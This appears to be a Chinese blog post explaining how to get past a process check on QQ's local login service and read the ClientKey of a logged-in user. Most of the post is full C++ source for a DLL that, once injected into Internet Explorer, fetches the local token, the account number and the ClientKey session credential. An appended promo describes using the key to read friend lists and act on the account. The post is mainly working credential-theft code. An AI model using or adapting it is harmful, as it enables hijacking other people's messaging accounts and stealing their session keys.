读取QQ ClientKey失败分析

Make ClientKey Greate Again!!!

背景

网上有不少获取QQ ClientKey的方式,主要是两种:

一种是模拟浏览器访问本地登陆QQ的方式获取ClientKey;

第二种就是注入到QQ通过调用它的导出函数获取ClientKey;

上述的两种方式都不难找到各种源码和一些分析,这里跳过

绕过

这里使用第一种,原因:

不会注入到qq,没什么乱七八糟的风险

不少朋友会发现在发送第二个请求(localhost.ptlogin2.qq.com)的时候会出现403,而且在挂上brup suite和fd的时候单点就失效,但是挂上chrome自带的插件却不会!

这是为什么呢?

最大的可能就是对进程进行了校验,这里直接将进程名修改为chrome,发现不行,说明可能还校验了签名等其他乱七八糟的东西,但是当我把程序写成一个dll,在注入到iexplore.exe(这里抄的上述代码,代理是internet iexplore,所以注入的是ie)成功获取,下面是代码

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

#include<string>
#include<windows.h>
#include<iostream>
#include<WinInet.h>
#pragma comment(lib,"wininet.lib")

char URL_STRING[] = "https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=636014201&s_url=http://www.qq.com/qq2012/loginSuccess.htm&style=20&border_radius=1&target=self&maskOpacity=40";

void GameStart()
{
	// 初始化URL
	URL_COMPONENTSA crackedURL = { 0 };
	char szHostName[128];
	char szUrlPath[256];
	crackedURL.dwStructSize = sizeof(URL_COMPONENTSA);
	crackedURL.lpszHostName = szHostName;
	crackedURL.dwHostNameLength = ARRAYSIZE(szHostName);
	crackedURL.lpszUrlPath = szUrlPath;
	crackedURL.dwUrlPathLength = ARRAYSIZE(szUrlPath);
	InternetCrackUrlA(URL_STRING, (DWORD)strlen(URL_STRING), 0, &crackedURL);

	// 初始化会话
	HINTERNET hInternet = InternetOpenA("Microsoft Internet Explorer", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
	HINTERNET hHttpSession = InternetConnectA(hInternet, crackedURL.lpszHostName, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
	HINTERNET hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", crackedURL.lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);

	// 发送HTTP请求
	HttpSendRequest(hHttpRequest, NULL, 0, NULL, 0);

	// 查询HTTP请求状态
	DWORD dwRetCode = 0;
	DWORD dwSizeOfRq = sizeof(DWORD);
	BOOL bRet = FALSE;
	bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);

	// 读取整个Headers
	char lpHeaderBuffer[1024] = { 0 };
	dwSizeOfRq = 1024;
	bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_RAW_HEADERS, lpHeaderBuffer, &dwSizeOfRq, NULL);

	// 从Cookie中提取pt_local_token的值
	char* pt_local_token = lpHeaderBuffer + dwSizeOfRq;
	while (pt_local_token != lpHeaderBuffer)
	{
		if (strstr(pt_local_token, "pt_local_token="))
		{
			// 退出之前,修正偏移
			pt_local_token += sizeof("pt_local_token");
			char* pEndBuffer = strstr(pt_local_token, ";");
			*pEndBuffer = 0;
			break;
		}
		pt_local_token--;
	}

	// 关闭句柄,只需要释放下面两个,注意关闭时按相反的顺序
	InternetCloseHandle(hHttpRequest);
	InternetCloseHandle(hHttpSession);


	/* 第二次建立会话 */

	// 初始化URL参数
	char lpszUrlPath[MAX_PATH] = "/pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=";
	strcat(lpszUrlPath, pt_local_token); // url末尾追加pt_local_token

	// 初始化会话
	hHttpSession = InternetConnectA(hInternet, "localhost.ptlogin2.qq.com", 4301, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
	hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);

	// 发送HTTP请求,添加头信息
	char lpHeaders[] = "Referer:https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=636014201&s_url=http%3A%2F%2Fwww.qq.com%2Fqq2012%2FloginSuccess.htm";
	HttpSendRequestA(hHttpRequest, lpHeaders, strlen(lpHeaders), NULL, 0);

	// 查询HTTP请求状态
	dwRetCode = 0;
	dwSizeOfRq = sizeof(DWORD);
	bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);

	// 获取返回数据的大小
	DWORD dwNumberOfBytesAvailable = 0;
	bRet = InternetQueryDataAvailable(hHttpRequest, &dwNumberOfBytesAvailable, NULL, NULL);

	// 读取网页内容
	char* lpBuffer = new char[dwNumberOfBytesAvailable]();
	bRet = InternetReadFile(hHttpRequest, lpBuffer, dwNumberOfBytesAvailable, &dwNumberOfBytesAvailable);

	// 从内容中提取已登陆QQ账号,是个js数组,这里只提取第一个
	char* uin = lpBuffer + dwNumberOfBytesAvailable;
	while (uin != lpBuffer)
	{
		if (strstr(uin, "\"account\":"))
		{
			// 退出之前,修正偏移
			uin += sizeof("\"account\":") - 1;
			char* pEndBuffer = strstr(uin, "}");
			*pEndBuffer = 0;
			break;
		}
		uin--;
	}

	// 释放资源,注意关闭句柄时按相反的顺序
	InternetCloseHandle(hHttpRequest);
	InternetCloseHandle(hHttpSession);


	/* 第三次会话 */

	// 初始化URL参数
	ZeroMemory(lpszUrlPath, MAX_PATH);
	strcat(lpszUrlPath, "/pt_get_st?clientuin=");
	strcat(lpszUrlPath, uin);
	strcat(lpszUrlPath, "&pt_local_tk=");
	strcat(lpszUrlPath, pt_local_token);
	strcat(lpszUrlPath, "&callback=__jp0");

	printf("[+]%s \n", lpszUrlPath);

	// 发送HTTPS请求
	hHttpSession = InternetConnectA(hInternet, "localhost.ptlogin2.qq.com", 4301, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
	hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);

	// 添加头信息
	char lpHeaders2[] = "Referer:https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=636014201&s_url=http%3A%2F%2Fwww.qq.com%2Fqq2012%2FloginSuccess.htm";
	HttpSendRequestA(hHttpRequest, lpHeaders2, strlen(lpHeaders2), NULL, 0);

	// 查询HTTP请求状态
	dwRetCode = 0;
	dwSizeOfRq = sizeof(DWORD);
	bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);

	// 读取整个Headers
	ZeroMemory(lpHeaderBuffer, 1024);
	dwSizeOfRq = 1024;
	bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_RAW_HEADERS, lpHeaderBuffer, &dwSizeOfRq, NULL);

	// 从Cookie中提取ClientKey的值
	char* clientkey = lpHeaderBuffer + dwSizeOfRq;
	while (clientkey != lpHeaderBuffer)
	{
		if (strstr(clientkey, "clientkey="))
		{
			// 退出之前,修正偏移
			clientkey += sizeof("clientkey");
			char* pEndBuffer = strstr(clientkey, ";");
			*pEndBuffer = 0;
			break;
		}
		clientkey--;
	}

	OutputDebugStringA(clientkey);

	InternetCloseHandle(hHttpRequest);
	InternetCloseHandle(hHttpSession);
	InternetCloseHandle(hInternet);
	delete[] lpBuffer;
}



BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
		GameStart();
		break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

说明: 本案例教会大家,如何获取已登录QQ用户的好友列表以及使用权限。涉及到ClientKey的漏洞利用和空间g_tk的算法,以及一些QQ接口的运用。 功能: 1.获取本机已登录QQQQ号,QQ名称,万能密钥Key)。 2.获取已登录QQ的好友列表(Q名,备注名,黄钻等级,朋友网姓名)。 3.各类QQ接口的应用(强制聊天,加为好友,发送邮件等)。 4.CSkin界面库15.3.10版本更新(本案例运行目录下CSkin.dll即是)。 提示: 示例绝非病毒!本案例涉及到QQ信息的获取操作,所以会被360误报,也可以看过源码后再运行。 本期CSKin界面库更新内容: CSKIN-15.3.10 1.修复日期控件悬浮显示日期不正确的BUG。 2.SkinListView加入双缓冲,减少闪烁。 3.修复SkinSplitContainer拉伸不重绘的BUG。 4.SkinSplitContainer添加颜色控制属性: (LineBack:分割线渐变背景色1) (LineBack2:分割线渐变背景色2) (ArroColor:箭头颜色) (ArroHoverColor:箭头悬浮时颜色) 5.修复窗体最大化,双屏问题。 6.修复边框None模式下无法全屏的问题。 7.MessageBoxEx字体修复。 8.MDI子窗体时不绘制阴影。 9.SkinButton添加属性: (BorderInflate:边框放大指定变量 ) (IsDrawBorder:是否绘制边框 ) (IsDrawGlass:是否启用渐变色Glass效果) 10.修复SkinListBox的渐变设置效果。 发布时间: 2015-3-10 14:31:28 官方网站:www.cskin.net 效果图可到以下地址查看: 资源来至:http://bbs.cskin.net/thread-678-1-1.html
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值